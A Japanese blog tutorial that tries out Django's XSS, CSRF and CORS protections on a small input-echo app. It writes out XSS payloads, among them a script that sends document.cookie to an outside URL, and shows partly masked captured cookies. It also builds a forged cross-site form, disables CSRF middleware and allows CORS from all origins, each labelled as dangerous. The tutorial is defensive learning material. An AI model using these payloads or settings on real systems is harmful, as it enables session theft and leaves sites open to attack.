【Django入門】Djangoのセキュリティ実験してみた!XSS、CSRF、CORSなど

この記事は約25分で読めます。

Djangoが備えているセキュリティ機能を理解するため簡単な例で実験しました。
入力して表示するだけのサンプルプログラムでXSS、CSRF、CORSに対する実験です。
その他のセキュリティ項目もご紹介します。
この記事はDjangoセキュリティの入り口的な内容で
決してここで紹介したことをやったから安全というわけではないのでご注意ください。
私が誤解してることがあるかもしれません。

準備

入力欄に入力した文字をそのまま表示するプログラムを作ります。
この段階ではindex.htmlだけメモ帳にコピペして作っても動作確認できます。
PaizaCloud は無料インストールなしでPython、Djangoが使えます。
それを使っていきます。

PaizaCloudの左にあるターミナルをクリック
以下のコードを入力

secure_pjという名前でプロジェクトの作成
django-admin startproject secure_pj

secure_pjディレクトリへ移動
cd secure_pj

secure_appという名前でアプリ作成
python manage.py startapp secure_app
settings.py変更
secure_pj/secure_pj/settings.pyをダブルクリック

以下のように2か所変更
・ホストを全部許可する。
・アプリを追加

ALLOWED_HOSTS = [] → ALLOWED_HOSTS = ['*']

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
  'secure_app.apps.SecureAppConfig',     

#補足説明1 'secure_app', だけでも動きますが、Djangoの公式チュートリアルでsecure_app/apps.pyにあるclass SecureAppConfig(AppConfig):のクラス名を追加
となっていたのでこうしています。

サンプルコード

プロジェクト(secure_pj)のurls.pyを変更

from django.contrib import admin
from django.urls import path,include

urlpatterns = [
    path('admin/', admin.site.urls),
    path('',include("secure_app.urls")),
]

アプリ(secure_app)のurls.pyは最初ないので
secure_appを右クリックして新規ファイル作成でurls.py作成
中身を以下にします。

from django.urls import path
from . import views

app_name    = "secure_app"
urlpatterns = [ 
    path('', views.SecureView.as_view(), name="index"),
]

views.pyを変更

from django.shortcuts import render
from django.views import View

class SecureView(View):
    def get(self, request, *args, **kwargs):

        return render(request,"secure_app/index.html")

secure_appを右クリック、新規ディレクトリでtemplatesディレクトリ作成
できたtemplatesを右クリック、secure_appディレクトリ作成
templates/secure_appを右クリックして新規ファイル作成でindex.html作成
中身を以下にします。

<!DOCTYPE html>
<html lang=”ja”>
<head>
<meta charset=”UTF-8″>
<title>Djangoセキュリティ実験</title>
</head>
    <body>
        <h2>Djangoセキュリティ実験</h2>

        <p>
        <label>ワード:<input type="text" id="nameText"></label>
        <input type="button" value="入力された文字を下にコピー" id="checkButton">
        </p>
        
        <p id="msg"></p>
        <br>
        <script>
        document.write("Javascriptで書いた1文です。");
        function butotnClick(){
        msg.innerHTML = nameText.value;
        }
        
        let nameText = document.getElementById('nameText');
        let msg = document.getElementById('msg');
        
        let checkButton = document.getElementById('checkButton');
        checkButton.addEventListener('click', butotnClick);
        </script>

    </body>
</html>
ターミナルでpython manage.py runserverでプログラムが実行できます。
PaizaCloudの右の8000をクリックすると実行できます。
何か入力してボタンを押すと下に、その文字が出力されます。

目次へ

クロスサイト・スクリプティング(XSS)

私の理解では掲示板やブログ投稿サービスなどで入力した内容が表示される処理が悪用され
入力欄に文字列以外のHTML,JavaScriptを入力すると、
それを実行してしまうことで起こる攻撃かな。
正確な定義は調べてください。
以下は入力欄にinputタグ~が入力されたとき、ボタンが表示される例です。

以下を入力欄に入力してボタンを押す。
HTMLを入力してみる。
<input type="button" value="イチゲブログへ" onclick="location.href='https://kikuichige.com/'"></input>
inputタグが実行され「イチゲブログへ」ボタンが現れボタンを押すと移動してしまいます。

JavaScriptを入力してみる。
<script>document.write("inputでJavaScript実行した");</script>
これは実行できませんでした。
多分JavaScriptで対策されてるのかもしれません。

入力欄にHTMLを入力すると実行してしまうことが確認できました。
Djangoでこんな使い方はしないと思いますが
一応Djangoだから安心ということでもないので気にしておきましょう。

Postで送ってみる

上のプログラムはDjangoというよりHTMLとJavaScriptを使ったプログラムです。
Djangoを使ったプログラムに変更します。
入力した文字をPostで送ってみます。変更箇所は以下。

from django.shortcuts import render
from django.views import View

class SecureView(View):
    def get(self, request, *args, **kwargs):

        return render(request,"secure_app/index.html")

    def post(self, request, *args, **kwargs):

        nameText=request.POST["nameText1"]
        context={ "nameText" : nameText,}
        return render(request,"secure_app/index.html",context)
<!DOCTYPE html>
<html lang=”ja”>
<head>
<meta charset=”UTF-8″>
<title>Djangoセキュリティ実験</title>
</head>
    <body>
        <h2>Djangoセキュリティ実験</h2>
       	<form action="" method="POST">
	    {% csrf_token %}

        <label>ワード:<input type="text" id="nameText1" name="nameText1"></label>
    	<input type="submit" value="送信">

	    </form>  

        {{nameText}}

    </body>
</html>

先ほどと同じようにHTMLを入力しても今度はHTMLは実行されず
文字列として表示されます。JavaScriptも同じ。
目次へ

safeフィルタを使うときは注意!

safeフィルタを使ってHTMLが有効になることを確認します。
index.htmlの
   {{nameText}} →   {{nameText| safe}}
に変更するとHTMLが有効になります。

入力欄に<input type="button" value="イチゲブログへ" onclick="location.href='https://kikuichige.com/'"></input>を入力すれば
先ほどと同じボタンが現れます。
またさっきは実行できなかった。
<script>document.write("inputでJavaScript実行した");</script>も実行できてしまいます。
さらにネットで見つけた攻撃の具体例いくつかやってみました。

<script>alert(document.cookie)</script>→クッキーがポップアップ画面に表示されます。
Paizacloudへリクエストを送っているのでPaizaCloudのクッキーが表示されます。
自分の開発環境でやっている場合は出ないかもしれません。

<script>window.location='悪意のあるサイトのURL?id='+document.cookie;</script>
例<script>window.location='https://kikuichige.com';</script>
→表示するタイミングで別のページへ移動します。(例では私のブログkikuichige.comへ飛ぶ)

<script>window.location='https://kikuichige.com?id='+document.cookie;</script>
→実行したらクッキー付きで別のページへ飛ぶ。
下はアドレスバーに表示した結果です。
https://kikuichige.com/?id=csrftoken=KIRle***;%20_VC_***=Yo***;%20paizacloud_container_token=886***

具体的にどう悪用されるかは分かりませんが、かなり危険な感じがします。

以上よりDjangoのtemplatesを使っていれば
表示段階でHTMLなどは文字列に変換して表示するようになっています。
safeフィルタを使えば文字列に変換はされずHTMLやJavaScriptとして実行される。
アプリが完成したら自分で入力欄にHTMLやJavaScript入力して確認してみるのがいいかもしれません。

簡単なのはHTML確認には<hr>を入力すると線が引かれます。
JavaScript確認には
<script>document.write("Hello world");</script>でHello Worldと表示させる。
ネットで調べると攻撃の例として以下のような例がありますが
"><script>alert('')</script><!--
これはPHPに対してのものかな?
safeフィルタのパターンで確認してみると実行はされますが">は文字列として表示されます。
safeフィルタなしだったら、ちゃんとエスケープして文字列として表示されます。
何か意味があるかもしれませんので、このパターンも試した方がいいかも。

UTF-7

今回参考にさせていただいている
クロスサイトスクリプティング(XSS)とは | 分かりやすく図解で解説UTF-7に対策が必要とあります。

HTTPのレスポンスヘッダの「Content-Type」フィールドには、「Content-Type: text/html;charset=UTF-8」のように、文字コードを指定することができます。Webサイトには必ず文字コードを指定するようにしましょう。

クロスサイトスクリプティング(XSS)とは | 分かりやすく図解で解説

これに関してdjangoの場合DEFAULT_CHARSETが該当するかと思います。
DjangoのSettingsDEFAULT_CHARSET参照(デフォルトUTF-8)

実験してみます。
settings.pyに以下の行を追加して
DEFAULT_CHARSET='utf-7'
実行します。文字表示はおかしくなります。
上の記事で紹介されてる+ADw-script+AD4- alert(+ACI-xss+ACI-) +ADw-/script+AD4-を入力してみるとaleartが表示されます。
ということでこれも対策されてるようです。

実験が終わったらDEFAULT_CHARSET='utf-8'に戻してください。

目次へ

完全ではない

Django のセキュリティにXSSに関して保護されない例が載っています。

CSRF

次にCSRFの実験をします。
私の理解ではアプリケーションと紐づいていない別サイトのformからの送信を受け付けてしまうことを利用した攻撃かな。正確な定義は調べてください。
以下のニセのformをメモ帳などで作ってください。
actionのところはアプリを動かしているところのurlになります。

<!DOCTYPE html>
<html lang=”ja”>
<head>
<meta charset=”UTF-8″>
<title>Djangoセキュリティ実験ニセサイト</title>
</head>
    <body>
        <h2>Djangoセキュリティ実験ニセサイト</h2>
	<form action="https://localhost-人によって違う.paiza-user-free.cloud:8000/" method="POST">

        <p>
        <label>ワード:<input type="text" id="nameText1" name="nameText1"></label>
        <input type="submit" value="送信">
        </p>
  	</form>        
    </body>
</html>

これを実行して何か入力して送信を押すと
Forbidden (403)
CSRF verification failed. Request aborted.というエラーで
アプリケーションにアクセスすることができません。
DjangoのCSRF対策が効いています。

CSRF対策を無効にしてみる

デフォルトで入ってるミドルウェアdjango.middleware.csrf.CsrfViewMiddlewareと
formに {% csrf_token %}を書くだけでDjangoではCSRF対策ができています。

原理は {% csrf_token %}が以下のようなタグに書き換えられます。
<input type=”hidden” name=”csrfmiddlewaretoken” value=”SkeJb****Ly5FiS”>
このvalueが一緒に送られるので
正規のフォームから送られたものはサーバーで控えてあるvalue値との整合が行われ
正しいフォームから送られてきたと判断されます。
このvalueがない送信データはニセサイトから送られた物と判断できるわけです。

無効にするには
settings.pyのMIDDLEWARE = [にある
'django.middleware.csrf.CsrfViewMiddleware',を削除します。
サーバーを立ち上げて、もう一度ニセサイトから入力すると
今度はエラーにはなりません。

ただサーバーから値の入っていない(None)正規のindex.htmlが送られてきて表示します。
その後CORS関連の実験をしていたら同じことやっても
Noneではなく受け付けるようになってしまった。
要求ヘッダのOrign:を見ると
(プラウザで右クリック→開発者ツールのネットワークタブで該当する通信の名前をクリックするとみられる)
正規サイトからの時はhttps://localhost-***-1.paiza-user-free.cloud:8000
ニセサイトの時はnullとなってます。
なのでNoneになったのはOrignが違うところのリクエストは受け付けないという
同一オリジンポリシーに反しているためNoneで返ってくるのかと推測しました。

しかし今の状態は上記ミドルウェアを削除したりニセサイトに正規サイトの
<input type="hidden" name="csrfmiddlewaretoken" value="SkeJb****Ly5FiS">をコピーしても受け付けます。同一オリジンポリシー違反は機能してないように見えます。

"同一オリジンポリシー form action"で検索すると
同一オリジンポリシーが適用されないケースとして
<form>タグの action 属性で設定した送信先 URLというのがありました。
(MDNには載っていない)
ということで動きとしては正常か。Noneが出たのは別の要因か?
実験のやり方が悪いかもしれませんが再現しなくなったのが気になります。

Originの意味ですが、私のパソコン(同じIP)からリクエスト送っているんだから
同じOrignではないかと考えがちです。
ここでいうOrignとは入力formを含んだhtmlがどこから来たものかを表しています。
要求ヘッダのORIGIN:を見ると正規のindex.htmlは
Origin: https://localhost-****-1.paiza-user-free.cloud:8000
ニセサイトはOrigin: null
自分のパソコンのファイルをダブルクリックして立ち上げたから出所不明ということでnull。

いずれにしろDjangoのCSRF対策を外すのは危険なことは分かりました。

同一オリジンポリシーをCORSで無効にしてみる

外部APIを使用するときなど同一オリジンポリシーを無効にして使いたい場面もあります。
そういうときCORSを使えば同一オリジンポリシーを無効にできます。

fetchを使って送受信

実験用のサイト(html)を用意します。
上で説明したようにformを使っては同一オリジンポリシーに引っかからないようなので
JavaScriptのfetchを使ってデータを送受信するニセサイト2を作ります。
下記fetchpost.htmlをメモ帳などで作ってください。
const url = は自分のurlに変更してください。
credentials: “include”,はurlに紐づいているクッキーが送られます。
クッキーを送らないとPaizaCloudにログイン状態のパソコンのリクエストであることを知らせることができずうまくいきません。(自分の開発環境でやっている人には関係ありません。)
クッキーを送る設定(credentials: “include”)は安易に流用すると危険なので注意してください。
逆にこのクッキー付きのリクエストが送れればログインできてしまうので
そういうことをさせないためにCSRFや同一オリジンポリシーがあるんですね。
このリクエスト内容が見たい場合はプラウザ→右クリック→edgeの場合「開発者ツールで調査する」→ネットワークタブで該当する通信の名前をクリックするとみれます。

<!DOCTYPE html>
<html lang="ja">
<head>
    <meta charset="UTF-8">
    <title>FetchでPOST送信</title>
</head>
<body>
    <section>
        <h1>ニセサイト2</h1>
            <p>Fetchで送ってみる</p>
            <form class="fetchForm">
                <input type="text" id="nameText1" name="nameText1" size="30" maxlength="30" class="name">
                <input type="button" value="送信" class="btn">      
            </form>
    <div id="text_area"></div>
    </section>
    <script>
	const fetchForm = document.querySelector('.fetchForm');
	const btn = document.querySelector('.btn');
	const url = 'https://localhost-人によって違う-1.paiza-user-free.cloud:8000/';

	const postFetch = () => {
	    let formData = new FormData(fetchForm);
	    for (let value of formData.entries()) {
        	console.log(value);
    	}

	    fetch(url, {
        	method: 'POST',
		credentials: "include",
		mode: 'cors',
        	body: formData
   	 }).then((response) => {
        	if(!response.ok) {
        	    console.log('error!');
        	} 
             	return response.json();
   	 }).then((data)  => {
	        const text_area = document.getElementById('text_area');
	        text_area.innerHTML = data.nameText;
	    }).catch((error) => {
		console.log('err');
	        console.log(error);
	    });
	};

	btn.addEventListener('click', postFetch, false);

	</script>
</body>
</html>

DjangoでCORSを使えるようにする。

csrf対策も無効な状態にしておきます。
MIDDLEWARE = [にある ‘django.middleware.csrf.CsrfViewMiddleware’,を削除します。

CORSに必要なライブラリをインストールします。

pip install django-cors-headers
settings.pyを以下のように書き換えます。
INSTALLED_APPS = [
・・・・
'corsheaders',#追加

MIDDLEWARE = [
・・・・
'corsheaders.middleware.CorsMiddleware',#追加
]

CORS_ORIGIN_ALLOW_ALL =True #追加 どこからでも受け入れるので危険な設定
# CORS_ORIGIN_WHITELIST = [ #個別に許可する場合はこっちを使う
#     'http://***.jp', 
# ]
# レスポンスを公開する
CORS_ALLOW_CREDENTIALS = True #追加

ニセサイト2から来たデータに一言付けて送るようにviews.pyを以下のように変更します。

from django.shortcuts import render
from django.views import View
from django.http.response import JsonResponse

class SecureView(View):
    def get(self, request, *args, **kwargs):
        return render(request,"secure_app/index.html")
    def post(self, request, *args, **kwargs):
        nameText=request.POST["nameText1"]
        context={ "nameText" : nameText+'が送られた!',}
        return JsonResponse(context)

これでサーバーを立ち上げニセサイト2もダブルクリックで立ち上げます。
ニセサイト2にデータを入れて送信を押すと下に~が送られた!と表示されます。
CORS_ORIGIN_ALLOW_ALL =Falseにすると
同一オリジンポリシーに引っかかて反応しません。
これではよくわからないので
Edgeの場合は右クリック→「開発者ツールで調査する」、chromeは「検証」で動作確認することができます。
ネットワークタブをクリックし、もう一度送信します。
状態テキストにCORSエラーと出てます。
名前をクリックするとヘッダでaccess-control-allow-origin: *になっています。(なっていないときもあった)
*だったらいいような感じですが、
うまくいくときは下のように*ではなくnull(今回のORIGIN)になってます。

次にsettings.pyのCORS_ORIGIN_ALLOW_ALL =Trueにしてやってみます。
状態テキストはOKで
名前をクリックして応答ヘッダを見るとaccess-control-allow-origin: nullで、
オリジンがnullでも通信が許可されてます。
実際の使用場面ではCORS_ORIGIN_ALLOW_ALLを設定するのではなく
CORS_ORIGIN_WHITELISTで個別に許可するところを指定したほうが安全ですね。

セキュリティ関連設定のチェック

python manage.py check --deploy
を実行すると以下のような結果が返ってきます。
security.W004という形で番号がついてますのでネットで検索すれば対策方法が出てきます。
対策が必要かどうかの判断は難しいですね。
1回デプロイして動き確認したあとに変更するほうが
設定変えておかしくなったとき何が影響してるのか判定できると思います。

WARNINGS:
?: (security.W004) You have not set a value for the SECURE_HSTS_SECONDS setting. If your entire site is served only over SSL, you may want to consider setting a value and enabling HTTP Strict Transport Security. Be sure to read the documentation first; enabling HSTS carelessly can cause serious, irreversible problems.
?: (security.W008) Your SECURE_SSL_REDIRECT setting is not set to True. Unless your site should be available over both SSL and non-SSL connections, you may want to either set this setting True or configure a load balancer or reverse-proxy server to redirect all connections to HTTPS.
?: (security.W012) SESSION_COOKIE_SECURE is not set to True. Using a secure-only session cookie makes it more difficult for network traffic sniffers to hijack user sessions.
?: (security.W016) You have 'django.middleware.csrf.CsrfViewMiddleware' in yourMIDDLEWARE, but you have not set CSRF_COOKIE_SECURE to True. Using a secure-only CSRF cookie makes it more difficult for network traffic sniffers to steal the CSRF token.
?: (security.W018) You should not have DEBUG set to True in deployment.
?: (security.W022) You have not set the SECURE_REFERRER_POLICY setting. Withoutthis, your site will not send a Referrer-Policy header. You should consider enabling this header to protect user privacy.

ちなみにsecurity.W008の対策でSECURE_SSL_REDIRECT = TrueにするとPaizaCloudでは
.paiza-user-free.cloud へのリダイレクト回数が多すぎます。
というエラーでプラウザ全部閉じないと復活できなくなりました。

以上ですがSQLインジェクションなどについても記事追加予定です。
基本的に対策されてるようです。
目次へ

このブログを書いてるイチゲをOFUSEで応援する

MENTAやってます(ichige)

コメント

タイトルとURLをコピーしました